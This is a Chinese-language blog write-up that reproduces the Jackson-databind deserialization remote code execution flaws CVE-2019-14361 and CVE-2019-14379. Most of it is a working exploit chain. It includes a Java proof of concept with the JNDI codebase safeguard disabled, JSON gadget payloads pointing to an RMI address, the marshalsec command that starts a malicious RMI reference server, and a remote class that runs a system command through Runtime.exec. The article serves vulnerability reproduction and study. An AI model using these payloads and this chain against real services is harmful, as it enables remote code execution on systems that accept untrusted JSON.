目录

CVE-2019-14361与CVE-2019-14379漏洞复现

CVE-2019-14361 & CVE-2019-14379漏洞复现

7月30日晚收到了推送,得知 Jackson-databind 又出了新的 RCE ,又有大佬找到了新的利用方式。

漏洞分析

根据 Jackson 开发者的 issue ,触发这个 Jackson 漏洞需要满足如下要求,

目标应用接收到不可信客户端发送的 JSON 数据 目标应用使用多态类型处理方式来处理 java.lang.Object 类型的属性; 在该漏洞中就是依赖的第三方 jar 包有点多(感觉在实际利用过程中能遇到这些个库也挺巧的)

环境搭建

本文中用到的第三方库有: jackson-annotations-2.9.8 jackson-core-2.9.8 jackson-databind-2.9.8 ehcache-2.9.1 slf4j-api-1.7.7 logback-core-1.3.0-alpha4 slf4j-simple-1.7.21 javax.transaction_1.0.0.0_1-1

http://www.mvnrepository.com 上下载即可。

漏洞代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;
import java.lang.Exception;

public class Main {

    public static void main(String[] args) {
       
        System.out.println("Mapping");
        // 注意,在高版本的JDK上存在限制,需要将com.sun.jndi.rmi.object.trustURLCodebase的值设置为true,默认为false
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        // CVE-2019-14361 payload
        String jsonStr1 = "[\"ch.qos.logback.core.db.JNDIConnectionSource\", {\"jndiLocation\":\"rmi://127.0.0.1:1099/ExportObject\"}]";
        // CVE-2019-14379 payload
        String jsonStr2 = "[\"net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup\",{\"properties\":{\"jndiName\":\"rmi://127.0.0.1:1099/ExportObject\"}}]";

        ObjectMapper mapper = new ObjectMapper();

        mapper.enableDefaultTyping();

        mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);

        System.out.println("Serializing");

        Object obj = null;

        try {
            // !->此处更换payload<-!
            obj = mapper.readValue(jsonStr1, java.lang.Object.class);
        } catch(Exception e) {
            e.printStackTrace();
        }

        System.out.println("objectified");

        try {
            mapper.writeValueAsString(obj);
        } catch(Exception e) {
            e.printStackTrace();
        }
        try {
            System.out.println("stringified: " + mapper.writeValueAsString(obj));
        } catch(Exception e)
        {
            e.printStackTrace();
        }

    }
}

构建步骤

本文在 IDEA 上生成项目

  1. 新建 java Commandline 项目
  2. 将上述代码复制进 Main 函数
  3. 单击红框中的图标,进入项目结构设置 https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190726153817.png-water_print
  4. 将下载好的外部库导入到项目中 具体导入步骤可以参考我的这篇文章,再此不做赘述 https://www.secquan.org/BugWarning/1069944

攻击流程

  1. 开启 RMI 服务 为了方便,我们可以使用marshalsec这款神器,可以快速开启 RMI 和 LDAP 服务。当然你需要下载源码包,使用 maven 编译。下载链接:https://github.com/mbechler/marshalsec,下载到本地后,利用 mvn clean package -DskipTests 即可编译,编译的结果如下:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190801153230.png-water_print

开启 RMI 服务:

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip:8000/#ExportObject

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190801154544.png-water_print

注::# 后面填写你的恶意类的类名,它会自动绑定 URI,rmi 默认端口号为 1099 。

  1. 编译 ExportObject.java

ExportObject.java代码内容如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package com.by.rmi;

import java.io.BufferedReader;
import java.io.InputStreamReader;

public class ExportObject {
    public ExportObject() throws Exception {
        Process proc = Runtime.getRuntime().exec("open /Applications/Calculator.app");
        BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
        StringBuffer sb = new StringBuffer();

        String line;
        while((line = br.readLine()) != null) {
            sb.append(line).append("\n");
        }

        String result = sb.toString();
        Exception e = new Exception(result);
        throw e;
    }

    public static void main(String[] args) throws Exception {
        ExportObject e = new ExportObject();
    }
}

:上述代码的功能为在 mac 平台上弹出计算器,如更换平台,请自行更换 exec 函数中的内容。

编译成class文件: javac ExportObject.java

  1. 在生成 ExportObject.class 文件夹下执行 python2 -m SimpleHTTPServer 8000,在本地启动 HTTP 服务。

CVE-2019-14361 测试

将 POC 中的 payload 更换为 jsonStr1,并编译运行,结果如下:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190801154407.png-water_print

CVE-2019-14379 测试

将 POC 中的 payload 更换为 jsonStr2,并编译运行,结果如下: https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190801154458.png-water_print

相应的,rmi 服务运行的截图如下:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190801154946.png-water_print